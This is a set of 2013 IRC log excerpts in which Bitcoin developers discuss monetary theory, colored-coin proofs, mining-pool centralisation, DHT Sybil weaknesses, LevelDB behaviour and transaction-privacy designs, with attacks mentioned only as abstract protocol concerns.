05:34 < petertodd> did they add it to their mental solutions list? because if so you added to the problem :P
05:35 < petertodd> you know, one of the annoying things about crypto-currencies is how the basic dynamics of proof-of-foo make experimentation hard - normally a small currency experiment might be worthless, but it is secure
05:36 < maaku> you'd think it'd be a perfect match though - occupy prime problem is the banks that contol directly or indirectly so much of our society. gesell's basic thesis is that ilquidity preemium is the root cause of that. problem identified, solution provided...
05:36 < petertodd> "wtf is liquidity preemium? sounds like something a banker would talk about"
05:36 < maaku> heh
05:37 < petertodd> I'm glad that you're self-aware enough to laugh at that!
05:40 < maaku> Well I (and Gesell) are not anti-banker - gasp! Gesell is totally a free-market capitalist, and so am I.
05:40 < maaku> What Gesell is against is the unfair advantage banks have, and how they naturally use that advantage to ill gain
05:41 < maaku> He then goes to considerable length in showing how that advantage is exactly equal to "basic interest" - that interest which remains after you subtract out the risk preemiums, time preference, etc.
05:41 < petertodd> yeah, of course, monetary issues aside, understanding credit risk is something where scales leads to bigger profits
05:41 < maaku> So neutralize that, and you've got a level playing field - banks want to loan to you just as much as you need them
05:42 < petertodd> rick preemiums aren't easy to measure after all
05:42 < petertodd> *risk
05:42 < maaku> yeah they're not
05:43 < maaku> but people who have money should be entitled to the reward of taking that risk
05:43 < maaku> they just shouldn't be entitled to that reward... + 5% for absolutely no reason
05:44 < petertodd> right, otoh if the cost of figuring out that premium works out to be 5%, well, what's the diference exactly?
05:44 < petertodd> real world-will be somewhere in between, but it might not make such a big difference is my point
03:27 < petertodd> I had a scar for ages myself on my thumb due to a photoflash circuit...
11:19 < jgarzik> petertodd, random note, perhaps obvious: USB and PCI traffic may be observed, just like ethernet traffic
11:19 < jgarzik> (recalling conversation a while ago)
19:57 < petertodd> So I think you can do compact NI proofs of colored coins: suppose I have a tx with two colored coin inputs, each worth 1BTC.
19:58 < petertodd> I just need to select one of those txins randomly, and prove (via a proof back to genesis) that it's a real colored coin txin.
19:58 < petertodd> Now if I try to make a false tx proof, with only one real input, I have a 50:50 chance of destroying my colored coin output by spending it to an invalid transaction that doesn't have a valid proof, so when you add it all up I can't get ahead.
19:59 < petertodd> The same applies for n inputs, and equally inputs that aren't equal in value provided I select the inputs in a weighted random fashion.
20:00 < petertodd> As for the random number, the best I can think of is to take the next n blockshashes, computer hash % n, and take the mode to select the input I prove.
20:00 < gmaxwell> meh, it's 50:50 for the cheater though. He doesn't care if four steps down the new NI proof catches the cheating.
20:01 < petertodd> Well, this is the thing: every proof is a full path all the way to genesis of one txin - I don't think I can do better than that. But at least it's just one path, O(n) size.
20:02 < gmaxwell> right but the cheater has 50/50 odds of winning in their cheat.
20:02 < petertodd> Sure, but their expected return is still zero.
20:02 < petertodd> slightly negative including fees
20:03 < gmaxwell> oh because it destroys their coin if they lose.
20:03 < petertodd> exactly
20:08 < petertodd> Now, see this works especially well with mastercoin, because every tx sends a fee to the exodus address.... :/
20:10 < gmaxwell> I think it only does that because ... thats basically the only mental tool that they have available to identify the mastercoin transactions.
20:11 < petertodd> yeah.... as you may have guessed I'm the guy who offered to write them a proper spec
20:11 < petertodd> I don't have high hopes :/
20:15 < gmaxwell> Well, I think you hurt their feelings, since I got a PM saying asking for feedback on their crazy checkmultisig stuff saying that you were demanding a lot of money to tell them the flaws in it. :P
20:15 < sipa> heh, i got the same mail :)
20:15 < petertodd> I'm not exactly surprised. Though he's remarkably friendly to me.
20:15 < sipa> they told me it was you
20:16 < petertodd> Lol, technically I haven't talked about money yet...
20:17 < petertodd> I'm *really* not happy with how he's going about it all, on the other hand, I don't think he's a bad guy, just naive and clueless.
20:17 < petertodd> Not his fault the community is crazy.
20:17 < sipa> he certainly doesn't strike me as a scammer
20:18 < petertodd> Me neither, but I also don't think he's going to wind up making something worth a half million...
20:24 < gmaxwell> sipa: they told you it was me? or that it was peter?
20:24 < sipa> peter
20:25 < sipa> they didn't tell you?
20:25 < gmaxwell> oh yea, sure, and I didn't disbelieve it. I think I said that I wasn't super inclined to give them free consulting as I viewed what they were doing was harmful to and competative with bitcoin.
20:28 < petertodd> gmaxwell: I told him I wasn't as worried about UTXO harm, as I was about the whole thing blowing up and going no-where because it's a bad idea.
20:29 < gmaxwell> That was also my conclusion after it was mentioned they were using a bc.i wallet... I dunno if I said that on the forum. I feel really bad, I suspect everyone involved is just hopeful but misguided.
20:30 < petertodd> Yup. I was pretty harsh in my first post - I wouldn't have in another situation - but given the money involved it deserved bluntness I think.
20:30 < midnightmagic> International journal of network security & its applications is the shittiest online journal I've ever had the displeasure of grovelling through.
20:30 < midnightmagic> (sorry for the interruption)
20:37 < gmaxwell> Yea, indeed, that fact that they were solicitcing (and recieved) a ton of money also reduced my typically overwhelming level of charm.
20:38 < petertodd> And amount of money that makes me more than happy to ask for some too.
21:03 < gavinandresen> "give me money and I'll tell you why your idea sucks" is never going to make friends, though.
21:04 < petertodd> Meh, what I was offering to design wasn't his idea actually. (the tx encoding)
21:26 < jgarzik> hah
21:26 < petertodd> jgarzik: ...says a lot about the project...
22:06 < warren> didn't ecocoin offer money for a security audit?
23:31 < amiller> hm.
23:34 < amiller> you know, my approach would basically end pooled mining
23:34 < amiller> anyway, i have been struggling with this zero knowledge proof of work signature thing
23:34 < amiller> all the straightforward things i came up with just using discrete log tricks don't really work
23:35 < amiller> the ones you can do zero knowledge over directly aren't good crypto hash functions
23:35 < jgarzik> amiller, ending pooled mining would be fine, though it will never happen due to intertia ;p
23:36 < amiller> jgarzik, well if my doom&gloom prediction comes true and hosted mining starts to catch on...
23:36 < amiller> it would be good to have a solution in store!
23:36 < amiller> anyway so i know i can use Pinocchio (or TinyRAM) to do zero knowledge proofs of work generically
23:36 < amiller> the downside is it takes a long ass time to construct the proof, even if verification is pretty efficient
23:37 < amiller> so...
23:37 < amiller> the clever way out is that the use of this zk proof of work is really only needed as a special device to prevent hosted mining
23:37 < amiller> you have to have the "option" of doing a zk PoW, but ordinary users wouldn't actualy have to take that option
23:37 < amiller> you can decide after the fact
23:38 < amiller> empirically it would take about 1 minute to produce the zk PoW for 2xSHA256 using pinocchio
23:38 < amiller> it could be parallelized too
23:38 < amiller> if it's only meant to prevent cloud mining, then it only has to be plausible for a cloud service provider to take that option!
23:40 < nanotube> people already trust pools not to skim/steal. what people /won't/ trust is other miners not to steal. so to really end pooled mining you have to enable other miners to appropriate more than their fair share (or steal entire blocks)
23:41 < amiller> stealing entire blocks is exactly what i'm suggesting
23:41 < nanotube> stealing by pool operator, or by fellow peer miners?
23:41 < amiller> by fellow peer miners
23:41 < nanotube> ah, in that case... carry on. :)
23:42 < nanotube> i just saw you said that a "cloud service provider" can do something, so i assumed that wouldn't include a random fellow miner.
23:42 * nanotube hasn't really been reading this discussion :)
23:43 < amiller> normally you commit to your transactions before you do the mining
23:43 < amiller> but to prevent outsourcing, i want to make it possible to bind to transactions after the fact
23:44 < amiller> also to use the proof of work without revealing anything about the nonce or extranonce you used, all of which might make the work 'detectable'
23:44 < amiller> to prevent outsourcing, there has to be a "perfect temptation" for the miner to claim the work for itself without any risk of getting caught!
23:45 < amiller> basically i'm recommending using the TinyRAM or Pinocchio zero-knowledge-proofs-for-C things
23:45 < amiller> as an alternate way of claiming the work
23:45 < warren> nanotube: solution withholding attacks already happen on pools
23:45 < amiller> warren, solution withholding isn't as good a threat as solution-stealing
23:47 < nanotube> warren: yes, but you don't get any money if you withhold.
23:47 < nanotube> and griefing with no profit (or even a small monetary loss) is practically speaking not a realistic threat.
23:48 < warren> nanotube: it works on competing PPS pools
23:49 < nanotube> well, define 'works'. does anyone actually make any money out of it? :)
23:49 < nanotube> sure you can drive a pool out of business with this. but that's about it.
23:50 < nanotube> amiller: yea, miner being able to grab a solution for himself by ex-post attaching himself as payout would be just right. :)
23:50 < warren> nanotube: I'm just saying that's what happens
23:51 < nanotube> well sure, but as an individual miner, i don't have to care about it. if my pool goes out of business, i just move on.
23:51 < nanotube> (as long as i set up autopayouts to be relatively frequent :) )
23:52 < warren> an interesting phenomenon now is "switch mining"
23:52 < warren> all the coins using the same hash have pools that transparently switch to a different chain that is more "profitable" at that moment
23:52 < warren> causes huge swings of strip mining and stagnation
23:53 < nanotube> hehe nice
23:54 < warren> forget about "51%".... 5000% can be pointed at a target
23:55 < warren> that's why you see them deploying centralized broadcast checkpoints now
23:56 < nanotube> so in other words, being a latecomer with the same hash, you can no longer be decentralized like bitcoin eh
23:56 < nanotube> talk about first mover advantage eh
23:57 < warren> there's a great many scrypt clones based on 0.6.3 now
23:58 < nanotube> hmm
23:58 < warren> and others are deploying with scrypt-jane or other hashes
23:58 < nanotube> the floodgates have opened
--- Log closed Tue Sep 17 00:00:46 2013
--- Log opened Tue Sep 17 00:00:46 2013
00:04 < amiller> the sad thing is i'd like to actually support pooled mining
00:04 < amiller> like if people's motivation is to lower their variance, there's nothing bad about that
00:04 < amiller> especially if they have their own hashpower
00:04 < amiller> it actually supports decentralization to support something like that
05:37 < gmaxwell> mappum: not at all, in fact. go try fetching the bitcoin blockchain torrent with no trackers.
05:37 < petertodd> gmaxwell: I've got enough older friends to be scared shitless in an exestential way already...
05:39 < mappum> interesting
05:42 < gmaxwell> mappum: bittorrent dht is mostly fail, it works .. kinda.. for very large swarms that can also do peer exchange, but mostly it just ends up helping people find other trackers. For small swarms it'll often spin finding nothing even when its not getting attacked.
05:42 < gmaxwell> It made sense in the bittorrent model because it was just enough more to make it so that you couldn't kill one (or a couple) original trackers and take out a swarm.
05:43 < midnightmagic> lol
05:43 < midnightmagic> you're never getting away from dhts are you
05:43 < gmaxwell> http://bitcoinstats.com/irc/bitcoin-dev/logs/2012/04/16#l1334585717
05:44 < mappum> sorry, i didn't know it was such a hot button D:
05:44 < midnightmagic> haha
05:45 < gmaxwell> meh, it's not a hot button, it's just .. common. Well, not in #wizards.
05:45 < gmaxwell> But there was a period of time when we couldn't go days without someone joing #bitcoin-dev and responding to the very first thing they heard with USE A DHT.
05:45 < midnightmagic> mappum: the endless, endless stream of users who come in to #bitcoin and insist we adopt dht rather than dns/irc for initial peer discovery is really astounding. it's jsut a running joke is all. no worries man.
05:46 < petertodd> mappum: pro-tip: suggest fidelity bonds instead, like a fidelity-bonded DHT
05:46 < gmaxwell> or instead of *, you name a technical challenge we've had in the bitcoin ecosystem and someone has suggested a DHT to solve it.
05:46 < gmaxwell> Signature validation slow? Use a DHT. etc.
05:47 < mappum> well i'm glad, i hadn't thought about the vulnerabilities. i'll have to think about making mine sybil-proof and manipulated-hash-proof
05:48 < gmaxwell> in your case, I don't see how a dht ID helps you. the pool would just store all the data for all the dht IDs. and could just produce work for any of them (assuming there was even an incentive in the system to not just have one ID)
05:48 < mappum> right, i realized that's not the solution, i'm just too tired to do the thinking right now
05:48 < gmaxwell> The nearest thing I've seen to a strong DHT system is cjdns.
05:48 < gmaxwell> and it uses the 'dht' only for routing.
05:49 < gmaxwell> maybe freenet, though freenet is ... uh.. really lossy.
05:49 < petertodd> gmaxwell: yeah, though being lossy is part of how they handle spam
05:49 < gmaxwell> and freenet opennet is not secure, while freenet darknet and cjdns are rather similar in many respects.
05:50 < gmaxwell> right, freenet works, but mostly because it doesn't promise very much. :P
05:50 < petertodd> gmaxwell: though freenet opennet is not secure in the same sense that tor isn't all that secure either...
05:50 < petertodd> gmaxwell: underpromise and... deliver
05:51 < gmaxwell> petertodd: I mean, opennet has some trivial sybil vulnerabilties. Tor doesn't but only because of the centeralized directory authorities.
05:51 < gmaxwell> darknet freenet loses the sybil risk for the same reason cjdns does. the users are expected to not select sybil peers.
05:52 < petertodd> gmaxwell: right, although I'm not sure the directory authorities actually help that much - they can't know if someone is logging
05:52 < petertodd> gmaxwell: they are only able to keep the system safe from sybils attempting to make Tor not function
05:57 < petertodd> gmaxwell: oh, speaking of, i2p has hashcash on their todo list: http://www.i2p2.de/todo
05:58 < gmaxwell> hashcash, in java, tm.
05:59 < petertodd> gmaxwell: heh, Bitcoin sacrifice is the only sane way to do it
06:10 < adam3us> btw sdl (sergio damien lerner) claims to have an efficient unpublished anonymity solution https://bitcointalk.org/index.php?topic=305791.msg3733685#msg3733685 which he has not published for year for "ethical reasons"??
06:11 < petertodd> SDL is weird...
06:13 < adam3us> petertodd: my response "I'd sure publish it immediately if I had figured it out and feel I did a good thing for society." and "Personally I think gambling has far more ethical worries than users being able to transact privately with something approaching the analogous already existing levels of privacy in other systems. For some people gambling becomes a near ruining addiction."
06:13 < petertodd> adam3us: you're doing well with these responses lately you know
06:14 < gmaxwell> adam3us: s/some/many/
06:14 < gmaxwell> it's shocking.
06:14 < adam3us> petertodd: (his phd thesis is about fair poker) and i think he looked at anonymity because he wanted to reduce scope for gaming collusion where you can cheat
06:14 < gmaxwell> in any case, IIRC the appecoin thing was he basically proposes you make the entire txout set a reencryption mix and every miner reencrypts it every block or something.
06:15 < petertodd> adam3us: was eye opening a few months ago when I mentioned that satoshidice wanted to hire me for some analysis to my boss, and he thought doing so was totally unethical based on it being gambling - he wouldn't have raised an eyebrow if I'd told him DPR wanted to hire me
06:15 < gmaxwell> (which is a protocol you'd expect from a guy who did research on mental poker)
06:15 < adam3us> gmaxwell: hmm that doesnt sound so good for end2end privacy, its trust me privacy with the current random block winner?
06:16 < gmaxwell> (e.g. the same way that you shuffle in some poker schemes)
06:16 < adam3us> gmaxwell: y'know maybe i vaguely read that in something he wrote now you mention it
06:16 < gmaxwell> adam3us: well sort of, they shuffle the _whole_ utxo set, so even though each block winner knows his mix, the set of all block winners is presumably strong.
06:16 < gmaxwell> unless mining has become 100% centeralized.
06:17 < gmaxwell> (or unless people are bribing miners for permutation lists)
06:17 < petertodd> gmaxwell: needs to be some way to make releasing the permutation list risky, like if you could somehow use that info to steal the block reward
06:17 < gmaxwell> but of course, reshuffling the whole utxo every block (or even every N blocks) is completely unrealistic.
06:18 < gmaxwell> and the cut and choose proofs required to show that the shuffle was fair wouldn't be small. (well perhaps, I did post some optimizations which might help, at the cost of making them expensive to verify)
09:04 < adam3us> gmaxwell: yes i think having shuffling miners do a provable encrypted shuffle of utxo (or a subset of it) is interesting, i meant its not as secure as blinding like zercoin which can be unconditionally secure anonymity (and doesnt rely on trust of a random, though growing over time, collection of miners)
17:07 < phantomcircuit> gmaxwell, *cough* https://github.com/mycelium-com/wallet/issues/9
17:10 < gmaxwell> phantomcircuit: thanks, bleh. https://github.com/mycelium-com/wallet/issues/9#issuecomment-29424301
17:10 < gmaxwell> I don't understand why this particular BIP got a firestorm of attention recently.
17:11 < gmaxwell> phantomcircuit: on that subject, your commentary on https://bitcointalk.org/index.php?topic=258678.0 would be helpful.
17:11 < gmaxwell> jrmithdobbs: as would yours.
17:14 < phantomcircuit> gmaxwell, im not sure my understanding of ECDSA is strong enough to usefully comment on it but i'll give it a read anyways
17:14 < gmaxwell> phantomcircuit: it's all symetric crypto.
19:42 < midnightmagic> btw, the public domain assertion in that hd wallets-with-optional-encryption is a potential law-bomb.
20:06 < sipa> ?
20:15 < midnightmagic> sipa: there are many places where assigning something to the public domain isn't possible, and doesn't serve as a disclaimer of rights. apparently. it has to be something more, like "this work can be used for any purpose, by anybody, forever. also at your own risk blah blah. also we grant you royalty-free use of any of our applicable patents blah blah
we promise not to patent-troll you later blah blah."
20:15 < midnightmagic> it's why OSI rejected the copyright commons 0-license
20:19 < gwillen> midnightmagic: er, the whole point of the commons-0 license is to have that wording in it
20:19 < gwillen> where you put it in the public domain if you can, and if not you grant all rights to everybody forever etc. etc.
20:20 < midnightmagic> gwillen: The lack of patent language killed it. http://opensource.org/faq#public-domain
20:20 < gwillen> midnightmagic: I'm reading the faq right now, it appears that the opposite is true
20:20 < gwillen> midnightmagic: what killed is is that there _was_ patent language
20:20 < gwillen> that specifically said patent rights are _retained
20:21 < gwillen> and apparently OSI thought that was worse than licenses that don't mention patents at all
20:22 < midnightmagic> Right.
20:22 < midnightmagic> "We retain the right to sue you into oblivion whenever we want."
20:22 < gwillen> *shrugs*
20:22 < gwillen> it seems like a minor thing to me
20:23 < gwillen> since it's very likely that patent rights are in fact retained when using an actual public domain dedication, where possible
20:23 < gwillen> or a simple open source license
20:23 < gwillen> e.g. when using the MIT license which I think has no mention of patents at all
20:28 < phantomcircuit> http://hackingdistributed.com/2013/11/27/bitcoin-leveldb/
20:29 < phantomcircuit> warren, gmaxwell ^
20:30 < warren> yeah
20:32 < phantomcircuit> if that's really leveldbs mmap strategy
20:32 < phantomcircuit> that is retarded
20:34 < cfields> phantomcircuit: agreed. It seems very inefficient and dangerous to me.
20:34 < phantomcircuit> tbh most everything about the implementation of leveldb seems insane to me
20:34 < phantomcircuit> such as journal entries not having sequence numbers
20:34 < gwillen> it does seem odd to me that munmap doesn't flush
20:34 < gwillen> that's really weird behavior
10:36 < pigeons> well i know a few miners who see the control they exert as protecting the network from things like spam transactions
10:36 < adam3us> jtimon: so even their reward would be lost
10:37 < pigeons> and things like the address-reuse deprioritization wouldnt be possible i suppose
10:37 < jtimon> how and why would users ignore censor miners and how they find out what blocks are censored?
10:38 < adam3us> pigeons: the fact that we have pools at all people seem to think was an unfortunate unforseen technology limitation.
10:39 < jtimon> well, my argument is the same that with the ghash.io topic p2pool/eligious pools are not a problem
10:39 < adam3us> jtimon: well thats the objective, to arrange that this would happen. for it to happen unfortunately i think only committed-tx can be considered valid. or all clients have a button in them or a switch over mechanism that public tx can be disable in event of widescle problems
10:39 < adam3us> jtimon: its a technical insurance policy or threat.
10:40 < jtimon> I think inputs-only transactions would have a similar anonymity effect and they seem more scalable to me
10:40 < pigeons> its a shame it seems like its not technical limitations keeping p2pool adoption from increasing as much as places like ghash
10:40 < jtimon> and also more "compatible" with regular txs
10:40 < adam3us> jtimon: how does that work? do u mean where the output is p2sh so the miner cant tell who it is being paid to?
10:41 < pigeons> and its not technical limitations why stratum is much more widepread than gbt
10:41 < pigeons> but yeah the limitations existed at the time pools emerged and grew
10:41 < adam3us> pigeons: ghash also has lots of hw in their datacenter. but the herd mentality that gets people to give % of their mining reward to miners when it is not necessary is strange yes.
10:43 < adam3us> jtimon: if inputs-only means output addr is obscured via p2sh i think its significantly weaker mechanism. most of the policy relates to history not static receipt address censor. its easy to make new addresses (or sender derived address like stealth)
10:43 < jtimon> adam3us: this is ptertodd's very open design https://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03307.html
10:44 < jtimon> but let me summarize the way I see it integrated with regular transactions
10:45 < jtimon> transactions only include inputs, not outputs, and miners only include them if none of the inputs they contain have been seen (you need expiries in the TXI set for scalability)
10:46 < jtimon> the inputs may actually be garbage, refer to outputs that don't even exist
10:46 < jtimon> and all the history of the outputs is transmitted directly between users, it doesn't touch the chain
10:46 < jtimon> makes sense?
10:47 < jtimon> well, I haven't really though much about interoperate with regular transactions (going from private back to public)
10:48 < jtimon> the main problem here seems to be: how fees are paid?
10:48 < jtimon> and the only answer seems to be pow fees
10:48 < jtimon> petertodd doesn't go beyond that
10:48 < jtimon> I think you could have a regular blockchain
10:49 < jtimon> and optional pow fees
10:49 < jtimon> which miners can somehow "add" to their per-block PoW
10:50 < jtimon> maybe you want ot combine it with the "orphan blocks count for the total pow of a given chain" thing on that academic paper
10:50 < adam3us> jtimon: btw the first half of that writeup was stuff i summarized to petertodd (the entanglement, timestamp/namespace/minimum validation required) he could've mentioned it... i didnt read the rest of it before to see the txin proposal. it seems like a subset of comitted tx
10:51 < jtimon> yeah, seems very similar
10:53 < adam3us> jtimon: he could've alternately written "hey here's some stuff adam told me he explored, and i have another idea why dont we tweak committed tx to expose the txin" :) i think that is a more accurate summary of what he wrote.
10:54 < adam3us> jtimon: the thing is as i said above probably the bulk of the policy risk is based on the history. the thing about passing history around off-chain was in the committed-tx writeup
10:55 < jtimon> if he had done that I would have explained the txin proposal to you much faster ;)
10:56 < adam3us> jtimon: and to include clear txt tx-in exposes history. or alternatively if the txin is unlinkable because its never published (its ambiguous at the end) then what he wrote IS committed-tx
10:56 < adam3us> jtimon: (yeah sorry i was reading the post so i didnt see your explanation above until you wrote quite a bit you were writing while i was reading)
10:57 < jtimon> np
10:58 < adam3us> jtimon: i think gmaxwell said in the committed-tx thread it might nearly but not quite be implementable with script.
10:58 < jtimon> that post of him, reminded me a discussion Ryan and I had about a txid-only chain for one of our ripplecoins
10:59 < jtimon> we wanted to put the powin transactions
10:59 < jtimon> if you made the pow on top of another transaction, the pow was "summed up" (we didn't thought in detail about that PoW addition operation)
11:00 < jtimon> so people will commit their transaction on top of the longest chain they see
11:01 < jtimon> and then we needed a git-like merge
11:01 < adam3us> jtimon: yes i was wondering about something like that. i had a PoW variant with addition, however it is very approximate addition and has variance reduction so creates mining fairness issues.
11:01 < jtimon> but we realize that didn't prevented doublespendings ;(
11:02 < jtimon> adam3us: ok, but it's good to know that it's not completely impossible
11:03 < adam3us> jtimon: well ghost protocol could reduce sensitivity to how long it takes to reach consensus (ie not so concerned about orphan rate anymore).
11:03 < jtimon> I think it started here? https://bitcointalk.org/?topic=4382.0
11:05 < jtimon> disclaimer: we were mainly interested in ripple, so we just really wanted a minimal p2p timestamping mechanism
11:05 < adam3us> jtimon: i was thinking of something related that ideally you would like to allow users to direct mine for small reward without pools and ended up with something ghost-like. i was thinking its too complicated and the incentives looked like they could work but wre also more complicated rules, and maybe more bandwidth a bit. so i thought this is too inellgant.
seemingly the ghost authors thought it ok.
11:05 < jtimon> if this tx id gets into the chain before expiry, all the sub-txs in it are valid, otherwise none is valid
11:06 < adam3us> jtimon: i see in the rfugger thread u linked that you and he had a similar idea about building on non-conflicting orphans. why not indeed, link them all in by reference.
11:06 < jtimon> sorry don't know ghost
11:07 < jtimon> my latest idea as said was that miners added the user's tx-pow to their block pow
11:07 < adam3us> jtimon: there is an academic paper. they claim if you dont ignore orphans but hash into the coinbase non-conflicting orphans and change a few things you can have faster block interval without convegence problems
11:08 < jtimon> oh, that's ghost? yeah, that's what I meant by "" maybe you want ot combine it with the "orphan blocks count for the total pow of a given chain" thing on that academic paper "" earlier
11:09 < adam3us> jtimon: see it seems to me desirable that a user can claim anytime during the 2week retarget period any work of even small value. then we have less centralization risk. now a way to do that is separate reward from voting.
11:10 < jtimon> the users reward is getting their transaction into the block, why would they get anything else?
11:10 < adam3us> jtimon: so why not mine on a public key that you use to vote.. then the voting power of the public key is related to the amount of pow on it. and you can use it with a sort of PoS like vote
11:10 < adam3us> jtimon: i mean not specifically about your per tx pow, but that i wanted to be able to solo mine say 0.01 btc and claim it relyably without needing pools
11:11 < jtimon> what's the purpose?
11:11 < adam3us> jtimon: dislike of mining pool cenrtalization risk :)
11:11 < jtimon> the purpose of mining is validation not distribution
11:12 < adam3us> jtimon: so i tried to explore how could i solo mine. one answer is to be able to mine for smaller amounts.
11:12 < jtimon> but if you're mining old stuff, why should the network reward you?
11:12 < adam3us> jtimon: agreed. but maybe it can be a two stage process. stage 1 mine for small coinbase-like reward, stage 2 use PoS on the coinbase reward to vote for fee reward
11:13 < jtimon> I tend to distrust PoS
11:13 < adam3us> jtimon: u would be mining only your public key. its a kind of micro-level PoS within the 2 week retarget interval only or something
11:14 < jtimon> in freicoin the retargetting is 9 blocks and if bitcoin ever hardforks I would suggest to update to our filter too
11:14 < adam3us> jtimon: agreed PoS is not economically attractive. centralization of vote via money instead. not pretty. and many PoS have actual protocol defect to allow mining on multiple candidate block sin parallel so devolve to PoW
11:15 < jtimon> "mining only your public key" how do you mine "on a public key"?
11:15 < adam3us> jtimon: my idea is not at a working stage, this was just as close as i got .
11:15 < jtimon> oh, I see
11:16 < justanotheruser> Do you think PoS could ever work in a currency?
11:16 < adam3us> jtimon: the idea is mining is like to get the right to vote on what the next block is. so i though well why cant i mine on a signature key, and then use the signature key to cast a weighted voted. maybe i can get the same feature but with more flexibility in minimum mining contribution and minimum reward. and so less dependence on pools.
11:17 < adam3us> jtimon: but it tends to have problems. could i sell the vote. could i save up voting power for one transaction to double spend it etc.
11:17 < jtimon> ok, now I get the point
04:09 < adam3us> gmaxwell: i guess would could impose some sanity eg reward < 50 as fees are << reward for now - no good thing can come. i know someone could accidentally spend > 1btc fee but that is probably a mistake
04:10 < adam3us> gmaxwell: local submission could be good for that reason
04:10 < gmaxwell> adam3us: there are blocks with subsidy >> 50
04:10 < adam3us> gmaxwell: but surely thats a costly mistake rather than anything good
04:10 < gmaxwell> I think the record holder is something like 350 or something like that.
04:10 < maaku> people have accidentally spent 100's btc fees
04:11 < adam3us> maaku: right, but its a mistake - you could usefully declare such transactions invalid (some simple heuristic)
04:11 < gmaxwell> in any case, limiting inflation to 25 BTC from space doesn't really help that much. Esp since you can create inflation against spv clients simply by spending inputs that never existed.
04:11 < maaku> adam3us: does it matter? if you don't claim it some other pool will
04:11 < adam3us> maaku: as i understand it miners were gracious enough to refund it, but they would not have to
04:12 < maaku> at least if you claim it you can be kind and offer it back
04:12 < adam3us> maaku: well if its invalid its not even forwarded, your client should reject even sending it - mistakes were people lose large amounts of money are not good
04:14 < adam3us> see its an interesting thing - many people have views and things to say in support of decentralization - maybe there are simple things that could be done to support decentralization (like get users to chose their own block) while using pools to even out luck; or just encourage p2pool if it can take the load
04:15 < gmaxwell> adam3us: well thats the "coinbase only pooling"
user chooses their own block, pooling only for the payment. But it needs some software work: A new GBT extension to say "send me only a coinbase", miner support to merge work from two sources, and poolserver work to accept shares. ... plus its becoming increasingly hard to get miners to even run bitcoind/bitcoin-qt
04:17 < gmaxwell> (at least coinbase only mining would decouple the choice of policy with choice of income-pooling, even in a world where hashers were still blindly handing over their votes to quasianonymous parties on the internet)
04:17 < adam3us> gmaxwell: that latter thing i was thinking could be combated without a full node, eg get people to get a coinbase feed from somone else (anyone other than a pool)
04:19 < adam3us> gmaxwell: in principle picking a coinbase at random from non-pool entities could be better, though that is sybil attackable. eg why not pick one from a power user you know who is running a full node, thats far better than trusting a pool; and also i like encouraging that the client locally submit to disrupt selfish stuff
04:19 < gmaxwell> it could be, yes, it's still handing over control... but without the barriers to entry where we seem to always have a mining oligarchy due to the obvious improvements to variance from being with a large pool in a world where miners really have few objective things to guide their decisions.
04:19 < adam3us> gmaxwell: i wonder if people like pools like a form of team-play, leaderboard thing
04:20 < gmaxwell> yes, to some extent, though I think that has mostly passed. It was certantly a big thing in the pre-asic times.
04:22 < gmaxwell> adam3us: I think that a lot of the hashers are basically just "mental bandwidth limited" are are picking "safe" popular choices, and that why you see them paying remarkably high fees. But I'm guessing. No one is studying this... and I'm not sure how you'd go about doing it.
04:22 < adam3us> was there ever a conclusion to cex.io investigation of the double spend attack?
04:22 < gmaxwell> adam3us: they said they'd look into it, no further comments. Subsiquently ghash.io dropped their fees from 3% to 0%.
04:22 < adam3us> (on the satoshi-dice clone)
04:23 < gmaxwell> Just keeping up with the hardware vendors,
new products and which thing is the scam of the week
could easily be a full time job.
04:25 < gmaxwell> (and ghash.io is the largest pool now, with 27.23% of the hashpower, though its impossible to know how much of that is actually public miners vs just cex itself, or how much of CEX mining power is "owned" by the public, vs internally owned)
04:26 < gmaxwell> In other news, 50btc still claims to have 3.2TH/s, and I think they stopped paying people over two months ago now.
04:27 < adam3us> gmaxwell: so cex.io is both a hosted mining (with public ownership or lease) and a publicly accessible pool?
04:27 < adam3us> gmaxwell: 50btc LOL ha ha
04:28 < gmaxwell> Yea, so the same party owns cex.io and ghash.io. Ghash.io is their mining pool which is available to the public (via a somewhat unfriendly registration process that involves making a cex.io account)
04:29 < adam3us> gmaxwell: bitcoin .. like swift, but where half federated nodes are run by people who dont care, dont read instructions, dont update software
04:30 < gmaxwell> cex.io is a large initially privately owned mining farm, which then created a trading market for selling hashpower to the public (and allowing the public to trade the hashpower between each other). In theory you can pay CEX to derack your hashpower and send you hardware, I'm not aware of anyone having done this. All cex.io hashpower is pointed at ghash.io.
04:31 < gmaxwell> adam3us: they might have cared but they just got scammed by three hardware vendors and are too busy rebooting their rasberry pis and praying that they'll break even.
04:31 < adam3us> gmaxwell: i am just thinking one could separate the luck pooling from the vote pooling. then any big players keen to disavow centralization could show statistics of where the vote is being used
04:32 < gmaxwell> adam3us: yes, thats the idea behing the "coinbase only pooling" I mentioned before. It's technically simple, just needs some software development, and perhaps some bludgoning to convince pool ops that they should support it, and miners that they should use it.
04:32 < adam3us> gmaxwell: so terminology coinbase = the pools reward address?
04:33 < warren> adam3us: coinbase tx pays out to any defined address(es)
04:33 < gmaxwell> Coinbase being the reward transaction.
04:33 < adam3us> gmaxwell, warren: ok
04:34 < warren> adam3us: I think only eligius and p2pool payout directly to miners in coinbase tx
04:34 < gmaxwell> The idea is that the pool would just give you the transaction (plus flags for which modifications you were allowed to make to it), and you'd submit shares back.
04:34 < gmaxwell> Other pools have in the past, I'm not sure if any others do right now.
04:35 < adam3us> gmaxwell: well my way of thinking is to be aghast that the pool thinks it has any say - ie the block should contain the pools reward addr (the coinbase) and the rest should be chosen freely by the miner :)
04:36 < warren> gmaxwell: did you already mention the huge coinbase tx issue?
04:36 < gmaxwell> sure, and it could have been that way today, except no one thought of it in 2010. ... back then the example protocol was getwork.
04:36 < adam3us> gmaxwell: i guess its a transfer of the hashcash logic - the coinbase is the resource address, the rest is miner chosen
04:37 < gmaxwell> And a lot of miners
even pool operators
have only a very limited understanding of how this stuff actually works, so the idea that you could split up the decisions from the payment pooling was not obvious to people.
04:37 < adam3us> *** depressing state of affairs, tolerated with cynical dark humor by all
04:37 < gmaxwell> (or that you could make decenteralized pools)
04:37 < gmaxwell> and now we have intertia _plus_ centeralized systems are always easier.
04:39 < adam3us> i wonder if there could be an engineered dis-economy of scale, just enough to disrupt stupidity, centralized
04:39 < gmaxwell> adam3us: Well there is amiller's anti-cloud-hashing idea, but it's a bit rocket sciency, both economically and technically.
04:40 < adam3us> gmaxwell: it didnt quite work also if i recall
04:40 < nsh> (also in the sense that it uses rocket engines)
